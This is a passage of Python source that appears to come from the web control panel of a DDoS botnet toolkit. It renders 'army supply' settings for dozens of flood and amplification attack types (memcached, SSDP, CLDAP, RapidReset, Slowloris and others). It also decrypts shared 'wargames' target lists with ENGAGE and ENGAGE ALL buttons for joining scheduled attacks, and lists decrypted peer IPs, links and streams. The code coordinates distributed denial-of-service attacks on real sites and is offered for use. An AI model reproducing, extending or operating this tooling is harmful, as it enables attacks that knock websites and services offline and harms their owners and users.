align='right'>"+str(mothership_fraggle)+"</td><td>SNIPER:</td><td align='right'>"+str(mothership_sniper)+"</td><td>UFOACK:</td><td align='right'>"+str(mothership_ufoack)+"</td><td>UFORST:</td><td align='right'>"+str(mothership_uforst)+"</td></tr><tr><td>DROPER:</td><td align='right'>"+str(mothership_droper)+"</td><td>OVERLAP:</td><td align='right'>"+str(mothership_overlap)+"</td><td>PINGER:</td><td align='right'>"+str(mothership_pinger)+"</td><td>UFOUDP:</td><td align='right'>"+str(mothership_ufoudp)+"</td></tr><tr><td>MEMCACHED:</td><td align='right'>"+str(mothership_memcached)+"</td><td>CHARGEN:</td><td align='right'>"+str(mothership_chargen)+"</td><td>CLDAP:</td><td align='right'>"+str(mothership_cldap)+"</td><td>SSDP:</td><td align='right'>"+str(mothership_ssdp)+"</td></tr><tr><td>QOTD:</td><td align='right'>"+str(mothership_qotd)+"</td><td>TFTP:</td><td align='right'>"+str(mothership_tftp)+"</td><td>WSDISCO:</td><td align='right'>"+str(mothership_wsdisco)+"</td><td>COAP:</td><td align='right'>"+str(mothership_coap)+"</td></tr><tr><td>MSSQL:</td><td align='right'>"+str(mothership_mssql)+"</td><td>ARMS:</td><td align='right'>"+str(mothership_arms)+"</td><td>PLEX:</td><td align='right'>"+str(mothership_plex)+"</td><td>NETBIOS:</td><td align='right'>"+str(mothership_netbios)+"</td></tr><tr><td>RIPV1:</td><td align='right'>"+str(mothership_ripv1)+"</td><td>MIDDLEBOX:</td><td align='right'>"+str(mothership_middlebox)+"</td><td>SLOWREAD:</td><td align='right'>"+str(mothership_slowread)+"</td><td>GOLDENEYE:</td><td align='right'>"+str(mothership_goldeneye)+"</td></tr><tr><td>RAPIDRESET:</td><td align='right'>"+str(mothership_rapidreset)+"</td><td>FINFLOOD:</td><td align='right'>"+str(mothership_finflood)+"</td></tr></table><br><hr><br>"
  7961. f.write(mother_table)
  7962. f.write(grid_table)
  7963. f.write(end_mark)
  7964. f.close()
  7965. else: # not valid stream data
  7966. pass
  7967. if page == "/cmd_decrypt_grid_update":
  7968. if not os.path.exists('/tmp/out'):
  7969. open('/tmp/out', 'w').close()
  7970. with open('/tmp/out', 'r') as f:
  7971. self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
  7972. if page == "/cmd_decrypt_wargames":
  7973. self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
  7974. wargames_join_flag = False # anti-join flag for non decrypted wargames
  7975. try:
  7976. wargames_deckey = pGet["wargames_deckey"]
  7977. except:
  7978. wargames_deckey = ""
  7979. end_mark = "[Info] [AI] End of decryption."
  7980. if wargames_deckey != "": # wargames decryption
  7981. nodec_text = "KEY?"
  7982. try: # read global army supply from configuration file (json)
  7983. with open(self.mothership_supplycfg_file) as data_file:
  7984. data = json.load(data_file)
  7985. except:
  7986. if os.path.exists(self.mothership_supplycfg_file) == True:
  7987. print('[Error] [AI] Cannot open: "core/json/supplycfg.json" -> [Aborting!]\n')
  7988. return
  7989. else: # generate default global army supply configuration file
  7990. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  7991. with open(self.mothership_supplycfg_file, "w") as f:
  7992. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0, "fraggle": 0, "sniper": 0, "ufoack": 0, "uforst": 0, "droper": 0, "overlap": 0, "pinger": 0, "ufoudp": 0, "memcached": 0, "chargen": 0, "cldap": 0, "ssdp": 0, "qotd": 0, "tftp": 0, "wsdisco": 0, "coap": 0, "mssql": 0, "arms": 0, "plex": 0, "netbios": 0, "ripv1": 0, "middlebox": 0, "rapidreset": 0, "slowread": 0, "goldeneye": 0, "finflood": 0}, f, indent=4)
  7993. with open(self.mothership_supplycfg_file) as data_file:
  7994. data = json.load(data_file)
  7995. self.supply_botnet = data["botnet"]
  7996. self.supply_loic = data["loic"]
  7997. self.supply_loris = data["loris"]
  7998. self.supply_ufosyn = data["ufosyn"]
  7999. self.supply_spray = data["spray"]
  8000. self.supply_smurf = data["smurf"]
  8001. self.supply_xmas = data["xmas"]
  8002. self.supply_nuke = data["nuke"]
  8003. self.supply_tachyon = data["tachyon"]
  8004. self.supply_monlist = data["monlist"]
  8005. self.supply_fraggle = data["fraggle"]
  8006. self.supply_sniper = data["sniper"]
  8007. self.supply_ufoack = data["ufoack"]
  8008. self.supply_uforst = data["uforst"]
  8009. self.supply_droper = data["droper"]
  8010. self.supply_overlap = data["overlap"]
  8011. self.supply_pinger = data["pinger"]
  8012. self.supply_ufoudp = data["ufoudp"]
  8013. self.supply_memcached = data.get("memcached", 0)
  8014. self.supply_chargen = data.get("chargen", 0)
  8015. self.supply_cldap = data.get("cldap", 0)
  8016. self.supply_ssdp = data.get("ssdp", 0)
  8017. self.supply_qotd = data.get("qotd", 0)
  8018. self.supply_tftp = data.get("tftp", 0)
  8019. self.supply_wsdisco = data.get("wsdisco", 0)
  8020. self.supply_coap = data.get("coap", 0)
  8021. self.supply_mssql = data.get("mssql", 0)
  8022. self.supply_arms = data.get("arms", 0)
  8023. self.supply_plex = data.get("plex", 0)
  8024. self.supply_netbios = data.get("netbios", 0)
  8025. self.supply_ripv1 = data.get("ripv1", 0)
  8026. self.supply_middlebox = data.get("middlebox", 0)
  8027. self.supply_rapidreset = data.get("rapidreset", 0)
  8028. self.supply_slowread = data.get("slowread", 0)
  8029. self.supply_goldeneye = data.get("goldeneye", 0)
  8030. self.supply_finflood = data.get("finflood", 0)
  8031. f = open(self.wargames_file,"r")
  8032. ls = f.readlines()
  8033. f.close()
  8034. if ls:
  8035. wargames_autopanel = "<u>MASSIVE ACTION</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><button title='Remove ALL: -CLOSED-' onclick=JobRemoveAll('"+str(wargames_deckey)+"')>-PURGE-</button></td><td align='center'><button style='background-color:cyan;height:50px;width:120px' title='Engage ALL: -ONGOING-' onclick=JobAddAll()>ENGAGE ALL!</button></td><td align='center'><button style='background-color:red;height:50px;width:120px' title='Cancel ALL: JOINED!' onclick=JobCancelAll()>PANIC!!!</button></td></tr></table><br><br>"
  8036. wargames_supply = "<u>GLOBAL ARMY SUPPLY (rounds)</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'>BOTNET ("+str(self.total_botnet)+"):</td><td align='center'>LOIC:</td><td align='center'>LORIS:</td><td align='center'>UFOSYN:</td><td align='center'>SPRAY:</td><td align='center'>FRAGGLE:</td><td align='center'>SNIPER:</td><td align='center'>UFOACK:</td><td align='center'>UFORST:</td></tr><tr><td align='center'><input type='number' min='1' max='99999' required id='supply_botnet' value='"+str(self.supply_botnet)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loic' value='"+str(self.supply_loic)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loris' value='"+str(self.supply_loris)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufosyn' value='"+str(self.supply_ufosyn)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_spray' value='"+str(self.supply_spray)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_fraggle' value='"+str(self.supply_fraggle)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_sniper' value='"+str(self.supply_sniper)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufoack' value='"+str(self.supply_ufoack)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_uforst' value='"+str(self.supply_uforst)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>SMURF:</td><td align='center'>XMAS:</td><td align='center'>NUKE:</td><td align='center'>TACHYON:</td><td align='center'>MONLIST:</td><td align='center'>DROPER:</td><td align='center'>OVERLAP:</td><td align='center'>PINGER:</td><td align='center'>UFOUDP:</td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_smurf' value='"+str(self.supply_smurf)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_xmas' value='"+str(self.supply_xmas)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_nuke' value='"+str(self.supply_nuke)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_tachyon' value='"+str(self.supply_tachyon)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_monlist' value='"+str(self.supply_monlist)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_droper' value='"+str(self.supply_droper)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_overlap' value='"+str(self.supply_overlap)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_pinger' value='"+str(self.supply_pinger)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufoudp' value='"+str(self.supply_ufoudp)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>MEMCACHED:</td><td align='center'>CHARGEN:</td><td align='center'>CLDAP:</td><td align='center'>SSDP:</td><td align='center'>QOTD:</td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_memcached' value='"+str(self.supply_memcached)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_chargen' value='"+str(self.supply_chargen)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_cldap' value='"+str(self.supply_cldap)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ssdp' value='"+str(self.supply_ssdp)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_qotd' value='"+str(self.supply_qotd)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>TFTP:</td><td align='center'>WSDISCO:</td><td align='center'>COAP:</td><td align='center'>MSSQL:</td><td align='center'>ARMS:</td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_tftp' value='"+str(self.supply_tftp)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_wsdisco' value='"+str(self.supply_wsdisco)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_coap' value='"+str(self.supply_coap)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_mssql' value='"+str(self.supply_mssql)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_arms' value='"+str(self.supply_arms)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>PLEX:</td><td align='center'>NETBIOS:</td><td align='center'>RIPV1:</td><td align='center'>MIDDLEBOX:</td><td align='center'>RAPIDRESET:</td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_plex' value='"+str(self.supply_plex)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_netbios' value='"+str(self.supply_netbios)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ripv1' value='"+str(self.supply_ripv1)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_middlebox' value='"+str(self.supply_middlebox)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_rapidreset' value='"+str(self.supply_rapidreset)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>SLOWREAD:</td><td align='center'>GOLDENEYE:</td><td align='center'>FINFLOOD:</td><td></td><td></td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_slowread' value='"+str(self.supply_slowread)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_goldeneye' value='"+str(self.supply_goldeneye)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_finflood' value='"+str(self.supply_finflood)+"' style='text-align: center;' readonly></td><td align='center'><button id='supply_edit' title='Edit global army supply...' value='EDIT' onclick=EditSupply()>EDIT</button></td><td></td></tr></table><br><br>"
  8037. else:
  8038. wargames_autopanel = ""
  8039. wargames_supply = ""
  8040. wargames_table = wargames_autopanel + wargames_supply +"<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('creation','"+str(wargames_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_target' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('target','"+str(wargames_deckey)+"')>TARGET:</a></td><td align='center'><a id='filter_estimated' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('estimated','"+str(wargames_deckey)+"')>DATE:</a></td><td align='center'><u>ETA:</u></td><td align='center'><u>ACTION:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  8041. f = open("/tmp/out", "w")
  8042. self.list_wargames_rev = reversed(self.list_wargames) # order by DESC
  8043. wargames_id = 1
  8044. for m in self.list_wargames_rev: # list = creation, target, estimated
  8045. if wargames_msg_sep in m:
  8046. m = m.split(wargames_msg_sep)
  8047. wargames_creation = m[0] # creation date
  8048. self.decrypt(wargames_deckey, wargames_creation)
  8049. if self.decryptedtext:
  8050. wargames_creation = self.decryptedtext
  8051. else:
  8052. wargames_creation = nodec_text
  8053. self.decryptedtext = "" # clean decryptedtext buffer
  8054. wargames_target = m[1] # target
  8055. wargames_target_joined = wargames_target
  8056. self.decrypt(wargames_deckey, wargames_target)
  8057. if self.decryptedtext:
  8058. wargames_target = self.decryptedtext
  8059. if wargames_target.startswith("www."):
  8060. wargames_target = wargames_target.replace("www.","")
  8061. else:
  8062. wargames_target = nodec_text
  8063. self.decryptedtext = "" # clean decryptedtext buffer
  8064. wargames_estimated = m[2] # estimated time
  8065. self.decrypt(wargames_deckey, wargames_estimated)
  8066. if self.decryptedtext:
  8067. wargames_estimated = self.decryptedtext
  8068. wargames_join_flag = True
  8069. else:
  8070. wargames_estimated = nodec_text
  8071. self.decryptedtext = "" # clean decryptedtext buffer
  8072. else:
  8073. wargames_target = "KEY?"
  8074. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  8075. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  8076. try:
  8077. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  8078. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  8079. except: # discarding errors also on panel
  8080. wargames_creation = now
  8081. wargames_estimated = now
  8082. if wargames_target == "KEY?": # allow to discard unencrypted wargames
  8083. wargames_creation = now
  8084. wargames_estimated = now
  8085. if (now >= wargames_estimated) == False: # change flag color when time is out
  8086. time_now = time.mktime(now)
  8087. time_estimated = time.mktime(wargames_estimated)
  8088. wargames_eta = (time_estimated - time_now)
  8089. hours, rem = divmod(wargames_eta, 3600)
  8090. minutes, seconds = divmod(rem, 60)
  8091. if "!!!" in wargames_target_joined:
  8092. status = "JOINED!"
  8093. wargames_status = "<font color='cyan'>"+status+"</font>"
  8094. if wargames_join_flag == True:
  8095. wargames_join = "<button id="+str(wargames_id)+" title='Cancel this battle...' onclick=JobCancel('"+str(wargames_id)+"')>CANCEL</button>"
  8096. else:
  8097. wargames_join = "KEY?" # present but with a different crypto-key
  8098. wargames_eta = "<font color='cyan'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  8099. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  8100. time_flag = "<font color='cyan'>"+str(wargames_estimated)+"</font>"
  8101. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  8102. creation_flag = "<font color='cyan'>"+str(wargames_creation)+"</font>"
  8103. else:
  8104. status = "-ONGOING-"
  8105. wargames_status = "<font color='orange'>"+status+"</font>"
  8106. if wargames_join_flag == True:
  8107. wargames_join = "<button id="+str(wargames_id)+" title='Join this battle...' onclick=JobAdd('"+str(wargames_id)+"')>ENGAGE!</button>"
  8108. else:
  8109. wargames_join = "KEY?" # present but with a different crypto-key
  8110. wargames_eta = "<font color='orange'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  8111. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  8112. time_flag = "<font color='orange'>"+str(wargames_estimated)+"</font>"
  8113. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  8114. creation_flag = "<font color='orange'>"+str(wargames_creation)+"</font>"
  8115. else:
  8116. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  8117. time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
  8118. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  8119. creation_flag = "<font color='red'>"+str(wargames_creation)+"</font>"
  8120. wargames_join = "<button id="+str(wargames_id)+" title='Remove this battle...' onclick=JobRemove('"+str(wargames_id)+"')>REMOVE</button>"
  8121. wargames_eta = "<font color='red'>OUT-OF-TIME</font>"
  8122. status = "-CLOSED-"
  8123. wargames_status = "<font color='red'>"+status+"</font>"
  8124. wargames_table += "<tr><td align='center'>"+creation_flag+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td><td align='center'>"+wargames_eta+"</td><td align='center'>"+wargames_join+"</td><td align='center'>"+wargames_status+"</td></tr>"
  8125. wargames_id = wargames_id + 1
  8126. wargames_table += "</table><br>"
  8127. f.write(wargames_table)
  8128. f.write(end_mark)
  8129. f.close()
  8130. if page == "/cmd_decrypt_wargames_update":
  8131. if not os.path.exists('/tmp/out'):
  8132. open('/tmp/out', 'w').close()
  8133. with open('/tmp/out', 'r') as f:
  8134. self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
  8135. if page == "/cmd_decrypt_links":
  8136. self.pages["/cmd_decrypt_links"] = "<pre>Waiting for decrypting results...</pre>"
  8137. try:
  8138. link_deckey = pGet["link_deckey"]
  8139. except:
  8140. link_deckey = ""
  8141. end_mark = "[Info] [AI] End of decryption."
  8142. if link_deckey != "": # links decryption
  8143. nodec_text = "This LINK cannot be solved with that KEY..."
  8144. links_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('creation','"+str(link_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_topic' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('topic','"+str(link_deckey)+"')>TOPIC:</a></td><td align='center'><a id='filter_url' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('url','"+str(link_deckey)+"')>URL:</a></td></tr>"
  8145. f = open("/tmp/out", "w")
  8146. self.list_links_rev = reversed(self.list_links) # order by DESC
  8147. for m in self.list_links_rev: # list = creation, topic, url
  8148. if links_msg_sep in m:
  8149. m = m.split(links_msg_sep)
  8150. link_creation = m[0] # creation date
  8151. self.decrypt(link_deckey, link_creation)
  8152. if self.decryptedtext:
  8153. link_creation = self.decryptedtext
  8154. else:
  8155. link_creation = nodec_text
  8156. self.decryptedtext = "" # clean decryptedtext buffer
  8157. link_url = m[1] # url
  8158. self.decrypt(link_deckey, link_url)
  8159. if self.decryptedtext:
  8160. link_url = self.decryptedtext
  8161. if link_url.startswith("www."):
  8162. link_url = link_url.replace("www.","")
  8163. else:
  8164. link_url = nodec_text
  8165. self.decryptedtext = "" # clean decryptedtext buffer
  8166. link_topic = m[2] # topic
  8167. self.decrypt(link_deckey, link_topic)
  8168. if self.decryptedtext:
  8169. link_topic = self.decryptedtext
  8170. else:
  8171. link_topic = nodec_text
  8172. self.decryptedtext = "" # clean decryptedtext buffer
  8173. else:
  8174. link_creation = nodec_text
  8175. link_url = nodec_text
  8176. link_topic = nodec_text
  8177. if link_creation == nodec_text:
  8178. links_table += "<tr><td align='center'>KEY?</td><td align='center'>"+nodec_text+"</td><td align='center'>KEY?</td></tr>"
  8179. else:
  8180. links_table += "<tr><td align='center'>"+link_creation+"</td><td align='center'>"+link_topic+"</td><td align='center'><a href='"+str(link_url)+"' target='_blank'>"+str(link_url)+"</a></td></tr>"
  8181. links_table += "</table><br>"
  8182. f.write(links_table)
  8183. f.write(end_mark)
  8184. f.close()
  8185. if page == "/cmd_decrypt_links_update":
  8186. if not os.path.exists('/tmp/out'):
  8187. open('/tmp/out', 'w').close()
  8188. with open('/tmp/out', 'r') as f:
  8189. self.pages["/cmd_decrypt_links_update"] = "<pre>"+f.read()+"<pre>"
  8190. if page == "/cmd_decrypt_streams":
  8191. self.pages["/cmd_decrypt_streams"] = "<pre>Waiting for decrypting results...</pre>"
  8192. try:
  8193. stream_deckey = pGet["stream_deckey"]
  8194. except:
  8195. stream_deckey = ""
  8196. end_mark = "[Info] [AI] End of decryption."
  8197. if stream_deckey != "": # streams decryption
  8198. nodec_text = "This STREAM cannot be solved with that KEY..."
  8199. streams_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('creation','"+str(stream_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_topic' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('topic','"+str(stream_deckey)+"')>TOPIC:</a></td><td align='center'><a id='filter_url' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('url','"+str(stream_deckey)+"')>STREAM:</a></td><td align='center'>VIDEO:</td></tr>"
  8200. f = open("/tmp/out", "w")
  8201. self.list_streams_rev = reversed(self.list_streams) # order by DESC
  8202. stream_num = 0
  8203. for m in self.list_streams_rev: # list = creation, topic, url
  8204. if streams_msg_sep in m:
  8205. m = m.split(streams_msg_sep)
  8206. stream_creation = m[0] # creation date
  8207. self.decrypt(stream_deckey, stream_creation)
  8208. if self.decryptedtext:
  8209. stream_creation = self.decryptedtext
  8210. else:
  8211. stream_creation = nodec_text
  8212. self.decryptedtext = "" # clean decryptedtext buffer
  8213. stream_url = m[1] # url
  8214. self.decrypt(stream_deckey, stream_url)
  8215. if self.decryptedtext:
  8216. stream_url = self.decryptedtext
  8217. if stream_url.startswith("www."):
  8218. stream_url = stream_url.replace("www.","")
  8219. else:
  8220. stream_url = nodec_text
  8221. self.decryptedtext = "" # clean decryptedtext buffer
  8222. stream_topic = m[2] # topic
  8223. self.decrypt(stream_deckey, stream_topic)
  8224. if self.decryptedtext:
  8225. stream_topic = self.decryptedtext
  8226. else:
  8227. stream_topic = nodec_text
  8228. self.decryptedtext = "" # clean decryptedtext buffer
  8229. stream_id = str(stream_url.split("v=")[1]) # extract (Youtube) VideoID
  8230. stream_num = stream_num + 1
  8231. else:
  8232. stream_creation = nodec_text
  8233. stream_url = nodec_text
  8234. stream_topic = nodec_text
  8235. stream_id = None
  8236. if stream_creation == nodec_text:
  8237. streams_table += "<tr><td align='center'>KEY?</td><td align='center'>"+nodec_text+"</td><td align='center'>KEY?</td><td align='center'>KEY?</td></tr>"
  8238. else:
  8239. streams_table += "<tr><td align='center'>"+stream_creation+"</td><td align='center'>"+stream_topic+"</td><td align='center'><a href='"+str(stream_url)+"' target='_blank'>"+str(stream_url)+"</a></td><td align='center'><button id='play_button_"+str(stream_num)+"' value='"+str(stream_id)+"' onclick='PlayStream("+str(stream_num)+");return false;'>PLAY!</button><div id='video_"+str(stream_num)+"'></div></td></tr>"
  8240. streams_table += "</table><br>"
  8241. f.write(streams_table)
  8242. f.write(end_mark)
  8243. f.close()
  8244. if page == "/cmd_decrypt_streams_update":
  8245. if not os.path.exists('/tmp/out'):
  8246. open('/tmp/out', 'w').close()
  8247. with open('/tmp/out', 'r') as f:
  8248. self.pages["/cmd_decrypt_streams_update"] = "<pre>"+f.read()+"<pre>"
  8249. if page == "/cmd_decrypt_tv":
  8250. self.pages["/cmd_decrypt_tv"] = "<pre>Waiting for decrypting results...</pre>"
  8251. try:
  8252. tv_deckey = pGet["tv_deckey"]
  8253. except:
  8254. tv_deckey = ""
  8255. end_mark = "[Info] [AI] End of decryption."
  8256. if tv_deckey != "": # tv decryption
  8257. nodec_text = "*** [This TV.PEER cannot be solved with that KEY...]"
  8258. self.playlist = []
  8259. self.list_tv_rev = reversed(self.list_tv) # order by DESC
  8260. if self.list_tv:
  8261. tv_table = '<table cellpadding="35" cellspacing="35" border="1"><tr><td><u>PLAYLIST:</u><br><br><ul>'
  8262. else:
  8263. tv_table = '<table border="0"><tr><td>Never connected to any feed...</u><ul>'
  8264. f = open("/tmp/out", "w")
  8265. tv_num = 0
  8266. self.playing_title = ""
  8267. for n in self.list_tv_rev: # list = url
  8268. url_tv = n # url
  8269. try:
  8270. self.decrypt(tv_deckey, url_tv)
  8271. if self.decryptedtext:
  8272. url_tv = self.decryptedtext
  8273. if url_tv != "1": # black magic!
  8274. self.playlist.append(url_tv)
  8275. else:
  8276. url_tv = nodec_text
  8277. else:
  8278. url_tv = nodec_text
  8279. except:
  8280. url_tv = nodec_text
  8281. self.decryptedtext = "" # clean decryptedtext buffer
  8282. if url_tv != nodec_text:
  8283. if url_tv.endswith(".ogv"): # remote .ogv
  8284. o = urlparse(url_tv)
  8285. start = '/'
  8286. end = '.ogv'
  8287. s = o.path
  8288. r = re.compile(start+'(.*?)'+end)
  8289. m = r.search(s)
  8290. if m:
  8291. self.playing_title = m.group(1).split("/")[1]
  8292. tv_table += "<table><tr><td>[<a href='#' onclick=PlayTV('"+str(url_tv)+"')>PLAY!</a>]</td><td><a href='"+str(url_tv)+"' target='_blank'>"+str(self.playing_title)+"</a></td></tr></table>"
  8293. else:
  8294. tv_table +="<li>"+str(nodec_text)+"</li>"
  8295. if self.playlist: # random play one video from playlist | autostart - controls - preload - allowfullscreen
  8296. playlist_now = random.choice(self.playlist)
  8297. if playlist_now.endswith(".ogv"): # remote .ogv
  8298. o = urlparse(playlist_now)
  8299. start = '/'
  8300. end = '.ogv'
  8301. s = o.path
  8302. r = re.compile(start+'(.*?)'+end)
  8303. m = r.search(s)
  8304. if m:
  8305. self.playing_title_now = m.group(1).split("/")[1]
  8306. tv_table += "</ul></td></tr><tr><td><u>WATCHING:</u> <a id='tv_a' href='"+str(playlist_now)+"' target='_blank'><label id='tv_p'>"+str(self.playing_title_now)+"</label></a><br><br><video id='player' controls width='100%' height='480' preload='auto' autoplay><source id='tv_stream_source' src='"+str(playlist_now)+"' type='video/ogg' />Sorry, your browser doesn’t support HTML5 media.</video></td></tr></table><br>"
  8307. else:
  8308. tv_table += "</ul></td></tr></table><br>"
  8309. f.write(tv_table)
  8310. f.write(end_mark)
  8311. f.close()
  8312. if page == "/cmd_decrypt_tv_update":
  8313. if not os.path.exists('/tmp/out'):
  8314. open('/tmp/out', 'w').close()
  8315. with open('/tmp/out', 'r') as f:
  8316. self.pages["/cmd_decrypt_tv_update"] = "<pre>"+f.read()+"<pre>"
  8317. if page == "/cmd_decrypt_globalnet":
  8318. self.pages["/cmd_decrypt_globalnet"] = "<pre>Waiting for decrypting results...</pre>"
  8319. try:
  8320. globalnet_deckey = pGet["globalnet_deckey"]
  8321. except:
  8322. globalnet_deckey = ""
  8323. end_mark = "[Info] [AI] End of decryption."
  8324. if globalnet_deckey != "": # globalnet decryption
  8325. nodec_text = "KEY?"
  8326. globalnet_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_owner' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('owner','"+str(globalnet_deckey)+"');>OWNER:</a></td><td align='center'><a id='filter_comment' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('comment','"+str(globalnet_deckey)+"')>COMMENT:</a></td><td align='center'><a id='filter_warp' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('warp','"+str(globalnet_deckey)+"')>WARPING:</a></td><td align='center'><a id='filter_ip' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('ip','"+str(globalnet_deckey)+"')>IP:</a></td></tr>"
  8327. f = open("/tmp/out", "w")
  8328. self.list_globalnet_rev = reversed(self.list_globalnet) # order by DESC
  8329. blackhole_ip_list = [] # used to check for repetitions
  8330. for m in self.list_globalnet_rev: # list = owner, comment, warping, ip
  8331. if globalnet_msg_sep in m:
  8332. m = m.split(globalnet_msg_sep)
  8333. globalnet_owner = m[0] # owner
  8334. self.decrypt(globalnet_deckey, globalnet_owner)
  8335. if self.decryptedtext:
  8336. globalnet_owner = self.decryptedtext
  8337. else:
  8338. globalnet_owner = nodec_text
  8339. self.decryptedtext = "" # clean decryptedtext buffer
  8340. globalnet_comment = m[1] # comment
  8341. self.decrypt(globalnet_deckey, globalnet_comment)
  8342. if self.decryptedtext:
  8343. globalnet_comment = self.decryptedtext
  8344. else:
  8345. globalnet_comment = nodec_text
  8346. self.decryptedtext = "" # clean decryptedtext buffer
  8347. globalnet_warp = m[2] # warp
  8348. self.decrypt(globalnet_deckey, globalnet_warp)
  8349. if self.decryptedtext:
  8350. globalnet_warp = self.decryptedtext
  8351. else:
  8352. globalnet_warp = nodec_text
  8353. if globalnet_warp == "OFF":
  8354. warp_color = "pink"
  8355. elif globalnet_warp == "ON1":
  8356. warp_color = "orange"
  8357. else: # ON2
  8358. warp_color = "blue"
  8359. self.decryptedtext = "" # clean decryptedtext buffer
  8360. globalnet_ip = m[3] # ip
  8361. self.decrypt(globalnet_deckey, globalnet_ip)
  8362. if self.decryptedtext:
  8363. globalnet_ip = self.decryptedtext
  8364. else:
  8365. globalnet_ip = nodec_text
